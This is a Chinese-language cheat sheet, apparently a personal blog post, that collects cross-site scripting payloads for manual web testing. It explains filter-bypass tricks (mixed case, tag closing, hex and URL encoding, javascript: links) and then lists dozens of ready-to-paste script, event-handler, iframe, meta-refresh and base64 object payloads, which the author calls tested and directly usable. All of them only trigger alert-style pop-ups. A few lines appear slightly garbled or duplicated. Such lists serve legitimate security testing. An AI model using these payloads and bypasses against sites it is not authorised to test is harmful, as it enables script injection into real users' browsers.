这是很久之前写的东西了,忘记是从哪里收集总结来的了。抱歉没法贴源地址了。
在平时的工作中,经常遇到需要手工测试xss漏洞的地方,每次都将代码输入一遍(特别是用手机的时候)会显得比较麻烦,因此写这篇文档来记录一下平时可能用到的xss攻击代码,以备不时之需,复制粘贴总比打字方便一些。以下部分代码收集自网络(全部测试过,可以直接使用)。
xss漏洞是常见的web安全问题之一,当网站未做任何防御时,输入就会弹出上述弹窗。但是通常情况下,网站都会对一些字符进行过滤,以预防xss攻击,这时就需要运用到一些xss绕过技巧。
1.大小写混合绕过
顾名思义,通过修改攻击代码大小写进行绕过。虽然javascript对大小写敏感但是html不敏感,javascript操作html的标签不敏感。代码示例:<sCrIpt>alErt(‘xss’)</ScRiPT>
2.闭合标签绕过
单引号很多时候都能起到闭合语句的作用,有时候我们通过关闭标签可以使xss生效。
3.HEX编码来绕过
对语句进行Hex编码,如<script>alert(“xss”);</script>可以转换为3c7363726970743e616c65727428e2809c787373e2809d293b3c2f7363726970743e
4.Javascript URL
链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:
<a href=”javascript:alert(‘test’)”>link</a>
稍微高级一点的写法还有:<a href=”javascript:alert(‘xss’)”>link</a>,通过url编码使它依旧可以被浏览器执行但又不匹配正则表达式。
5.根据之前绕过方法的启发,我们可以通过修改标签和编码或者函数来修改所用的攻击代码
===>常用代码如下:
<script>alert(8888)</script>
<img src=1 onerror=alert(1)>
<script>confirm(8888)</script>
<script>prompt(8888)</script>
<script>\u0061\u006C\u0065\u0072\u0074(8888)</script>
<script src=data:text/javascript,alert(8888)></script>
<script src=data:text/javascript,alert(8888)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/8888/.source)</script>
<script>setTimeout(alert(8888),0)</script>
===>以下为触发xss,即鼠标移动到输出的字符上(或点击字符)时,即会引发xss。
<anytag onmouseover=alert(1)>h
<anytag onclick=alert(2)>h
<a onmouseover=alert(3)>h
<a onclick=alert(4)>h
<a href=javascript:alert(5)>h
<button/onclick=alert(6)>h
formaction=javascript:alert(7)>h
<form/action=javascript:alert(8)><input/type=submit>
<form onsubmit=alert(9)><button>h
<form onsubmit=alert(10)><button>h
<img src=x onerror=alert(11)> 29
<body/onload=alert(12)>
<body onscroll=alert(13)><br><br><input autofocus>
<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC=”javascript:alert(14);”></IFRAME>
<meta http-equiv=”refresh” content=”0;
url=data:text/html,<script>alert(15)</script>”>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></object> #此为base64编码,有兴趣可以试试其他编码方式
<input onfocus=alert(16) autofocus> #使用这行攻击代码会无限弹xss
<input onblur=alert(17) autofocus><input autofocus>